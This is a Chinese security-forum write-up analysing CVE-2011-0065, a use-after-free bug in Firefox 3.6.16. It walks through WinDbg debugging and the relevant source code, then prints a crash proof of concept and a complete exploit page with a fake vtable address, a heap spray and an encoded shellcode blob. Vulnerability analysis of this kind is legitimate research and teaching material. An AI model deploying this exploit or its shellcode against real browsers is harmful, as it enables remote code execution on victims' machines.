看雪论坛
主题:186747  回帖:1214788  会员:741230  在线:265
1

[原创]CVE-2011-0065 Firefox mChannel UAF漏洞

君子谬 2017-3-8 517

软件名称 Firefox

软件版本Firefox 3.6.16

漏洞模块xul.dll

漏洞编号CVE-2011-0065

危害等级:高危

漏洞类型释放重引用

威胁类型:远程


1. 软件简介

       Mozilla Firefox是一款非常流行的开源WEB浏览器。SeaMonkey是开源的Web浏览器、邮件和新闻组客户端、IRC会话客户端和HTML编辑器。 

2. 漏洞成因

Mozilla Firefox 3.5.19之前版本,3.6.17之前的3.6.x版本以及SeaMonkey 2.0.14之前版本中存在释放后使用漏洞。远程攻击者可以借助与OBJECT's mChannel有关的向量执行任意代码

3. 利用过程

3.0 windbg设置

首先添加windbg关于Firefox的符号表地址

 

3.1漏洞触发

3.1.1 poc

<html>
<body>
<object id="d"><object>
<script type="text/javascript">
var e;
e=document.getElementById("d");
 
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
e.data = "";
 
</script>
</body>
</html>


 

 

3.1.2 触发异常

运行FireFox并且用windbg附加它,然后运行刚才的Poc,断到异常处

 

然后用kv指令查看此时的堆栈信息,可以看到栈顶的返回地址68cf4e75

 

ub指令查看0x68cf4e75地址前面的指令,漏洞是出现在xul.dll模块中

 

根据C++成员函数this指针调用约定,可以知道上面的ecx是虚表函数,eax是对象地址,而call dword ptr ds[ecx+18]调用的整是某个对象的方法,即虚函数。

查看xul!nsObjectLoadingContent::LoadObject+0xf2发现有两个同名函数。

 

根据上面触发漏洞时栈顶的返回地址68cf4e75可以知道这里调用的是:

Matched: 68cf4d6d xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int)

因此,对68cf4d6d下断点:

0:000> bp 68cf4d6d

另外,从poc代码中可以看到关键函数onChannelRedirect 因此我们可以直接在winDbg中搜索函数,但是发现很多类里面都包含着onChannelRedirect 方法

 

但是刚才我们已经找到了,触发漏洞的类是xul!nsObjectLoadingContent,通过搜索,该类里也包含onChannelRedirect方法,连同其参数也一并列了出来,前两个参数为类对象

 

因此对xul!nsObjectLoadingContent::onChannelRedirect下断点,重新载入poc.html执行后,发现确实可以断下

 

 

查看此时它的三个参数,其中第二个参数是对象067a3e90,其余均为0

 

分析该函数的反汇编代码

 

上面的调试信息已经给出了源码文件的路径和行数,因此我们可以直接查看nsObjectLoadingContent::onChannelRedirect函数的源码,可以通过http://hg.mozilla.org/releases/mozilla-1.9.2/file/c24f21581d77/content/base/src/nsObjectLoadingContent.cpp获取在线代码

NS_IMETHODIMP

nsObjectLoadingContent::OnChannelRedirect(

nsIChannel *aOldChannel,                                          

nsIChannel *aNewChannel,                                          

PRUint32    

aFlags)

{  

// If we're already busy with a new load, or have no load at all,  

// cancel the redirect. 

 if (!mChannel || aOldChannel != mChannel)

 {    

return NS_BINDING_ABORTED; 

 }  

if (mClassifier)

 {   

 mClassifier->OnRedirect(aOldChannel, aNewChannel);  

}  

mChannel = aNewChannel; 

/***************************************************************/

将新对象067a3e90赋予mChannel对象,但由于Firefox本身的垃圾回收机制,在OnChannelRedirect函数调用完毕后,它会回收不再使用的对象,即尽在本函数内使用aNewChannel对象,此时mChannel就成了悬挂指针

/***************************************************************/

 

 return NS_OK;

}

 

动态调试一下,先在xul!nsObjectLoadingContent::LoadObject+0xfc下断点,

bp 68cf4d6d + fc

 

执行后断下,可以发现这里引用的对象就是前面的xul!nsObjectLoadingContent::OnChannelRedirect的第二个参数值0x0

 

单步执行下去就可以出发异常,因此虚表指针被篡改,导致索引虚函数时出错,进而导致程序崩溃。

 

3.2漏洞利用

为了实现任意代码执行,需要在mChannel对象释放后,用可控数据覆盖,填充它,因此,可以在nChannelRedirect函数执行完成后,紧跟着申请一块相同的内存:

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

执行后,虚表指针就会被0x0c0c001c填充,从而控制程序的执行流程

接下来只需要利用Heap Spray技术将shellcode喷射到0x0c0c0034de位置即可实现执行任意代码。

 

4. exploit

 

<html>
<body>
<object id="d"><object>
<script type="text/javascript">
 
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\x1C%u0c0c")
 
//%
// taken and modified from adobe_flashplayer_newfunction.rb %u1a77%u3e43  65e3f263  7D66A4E8
var sc = unescape("%u4141%u4141%u0028%u0c0c%uc012%u5ddb%u4141%u4141%ua4e8%u7d66%u4141%u4141%uffae%u65e3%u4141%u4141%u0028%u0c0c%u4141%u4141%u4141%u4141%u4141%u4141%u1ad4%u7c80%u0084%u0c0c%u0028%u0c0c%u0400%u0000%u0040%u0000%u0028%u0c0c%uf00d%ubeef%u4413%u7c87%u0048%u0c0c%u0c00%u0c0c%u0400%u0000%u0040%u0000%u7174%u7276%u8646%ub0fc%u677b%u85bf%ubed6%u4fa8%uf987%u109b%uebd1%u2425%u0591%u349f%u9892%u3c4b%u731d%u7c78%u0c75%u42b7%ub997%u4e8d%ue389%ua927%u437f%u1c93%ub596%ud53b%ub6b4%u7748%u3115%uc7fe%uf8c0%u492c%u354a%u90b3%ud422%u14b1%ue083%ufd03%u2ab2%u3fe2%uf588%uba99%u047a%u2fb8%u7947%u3d2d%u7679%ubb41%ubba9%ub6b5%u2c71%u93ba%u2173%u7de1%u983d%u3fb1%ub88d%u9937%u6b14%u2ff9%u9134%u664f%u9fa8%u277e%u7a4e%u0147%u25e2%u2b46%u0cfd%u1cb2%u3590%ub9b3%u1d77%uf680%u3cd6%ueb8c%u1240%u3af8%u2dd4%u677f%u7241%u087c%u33e0%u0dfc%u9b97%u4b96%uf51b%ue381%u0543%u7b70%u0474%u00b0%ub4d5%ub724%u4978%u4a75%u1592%u48bf%ube42%u7c99%u7714%u9142%u2cb7%u24be%u9b2d%u7d71%u7b7a%u663f%u4398%u7973%ud428%u3d70%ub2b5%u0592%ub347%ubb96%u34b8%ub44a%ub904%u3578%ufc18%u904f%u41a8%ue211%ue30a%ud01a%ud6d2%u8da9%u0c7f%u4627%u13bf%ud3f7%ub1f8%u4840%u3715%u9f97%u3c75%uf50b%ud539%u7293%u324b%u30eb%ub6f9%u1949%uc1ff%u25e1%ue029%ufd38%ub067%u4e1c%u1dba%u742f%u760d%u7c7e%u277d%u4273%ufd02%u2d79%ua99b%ub11d%u7598%uf803%u7f35%ue320%u3f43%ub8ba%u7b9f%uf52b%u7a92%ub42c%u3dbe%u7191%u7072%ub766%u1c2f%ubf15%ub367%ubbb9%ue084%u4a41%u8925%u0cf9%u7677%ufc13%ueb81%u0d46%u4f90%u2147%u78d6%u9914%ud469%u05b2%u3cb5%u88b6%u4be1%u4897%u8da8%u24b0%u3334%u4ed5%u4093%u7496%u4904%ue20a%u7e37%u277f%u70b5%ue201%ub034%u7974%u1c7b%ud480%u4a8d%ua9b3%ue08c%u777e%u7204%u9947%ud232%u0dfc%u3776%u247a%u0b2f%ue1d1%u413f%ub8b2%u391d%u4ff5%ub625%u752d%u2973%u91f8%u909f%u4b7c%ue308%uf712%uc0c6%u9bfd%ua8b7%u40b9%u6796%u052c%u7149%u9843%u3cb1%u1935%u78eb%u9366%u144e%ud530%u9215%ubf0c%ubb42%u487d%u3dbe%ub4ba%ud687%u1146%u97f9%ueb20%u7f74%u777d%u4079%u8d3c%u0c9f%u4292%ufd6b%u97ba%ud618%ub798%uf909%u78b6%u7375%ub447%u227b%u23e0%ue3c1%ub02f%u1d70%u0035%u02e1%ub9d4%u7c37%uf83a%ue228%u717a%ud51b%u1472%u9646%u4148%ufc3b%u3d0d%u913f%ub3b2%ubb67%u9905%u2576%u1566%u93a9%ubfb8%u4a90%u7ea8%ueb31%u8434%u4fe2%u1c7b%u7cbe%u754e%uf538%u277a%ud085%u10e3%ue1d3%u724b%u7f2c%u7604%u8343%ue0f6%u9b49%u2d78%u247e%ub1b5%u3d70%u992d%u714f%ubb25%u9f48%u8da8%u3c7d%ubf9b%u4234%u1473%u4a41%u77b2%u9015%ufd40%u374b%u921c%u793f%u2c24%u1dd5%u0493%ub6b8%u4727%ub3b4%ua9b9%u67b5%ubad6%ube46%u49b1%u7491%u2a05%u0cf8%u2f98%u0df5%u4e96%u1a97%ub0d4%u6635%uf986%ufcb7%udb43%ub8d7%u42b3%u12d2%u74d9%uf424%u295f%ub1c9%u3144%u1947%u4703%u8319%ufcef%ub751%uf90b%ue10e%udad8%u23c4%u91f3%u7553%ub13a%u0410%ub18c%ueb50%ub367%u7880%u3431%u0033%ucf9e%uc575%ud791%uc60c%ue977%ud73f%u8969%u4434%u6e4e%ud0c1%ue5b2%uf281%uf8b2%u88c3%ue309%ud598%u12ad%u0a75%u5d99%uf902%u5c69%u33fa%u6e91%uc8c2%u15c1%u4402%ud71d%ua84d%u1020%u47ba%ue219%u8018%ufb2b%u8aeb%ufaf7%u4c00%uf073%u1a9d%u15d9%uf620%u2155%u09a9%ua382%u2de9%ud54e%u9f32%u3c66%u6960%ub793%u024a%u86d2%u3f44%ufeb8%u40c7%u00c2%ufb7e%u4439%udcfe%uc9a0%uc079%u7c00%u776d%u7fb7%u0192%u880d%u7e04%ua8e2%u1695%u9ac9%u833b%uae45%u2e30%ud8e4%u94ea%u5002%u83f4%u37ed%ua2fc%ue8d0%u1c47%u4576%uda0b%u726b%u0d21%u85f2%u323a%u169d%u95bc%u817e%u415d%u131a%uc0f5%ue081%uea76%u8f92%u2824%u192f%u5837%u3977%ub997%u74ef%uff84%ueece%u6f58%ucf7c%u00f4%u2f52%ub762%u4ae2%u2b06%u5dc2%uff5e%u4e00%ue1d7%ubc78%ub2b5%u122b%ue5c6%u52fd%uf968%u5aab")
 
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] = again + sc
}
 
e.data = ""
</script></body></html>


5.参考资料

《漏洞战争:软件漏洞分析精要》 林桠泉 

PS:CSDN的也是我写的


最新回复 (4)
2
wingdbg 2017-3-8
2
如果可以楼主可以把堆喷那块的漏洞利用分析分析,增强分析文章完整性
19
仙果 2017-3-9
3
编辑了一下内容,更容易阅读一些
jmyjm 2017-3-12
4
当开启一个浏览器的时候,会有多个进程存在,那应该附加哪一个进程才是正确的。
2
hewittlee 2017-3-13
5
good!!!!
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.010, SQL: 6 / 京ICP备10040895号-17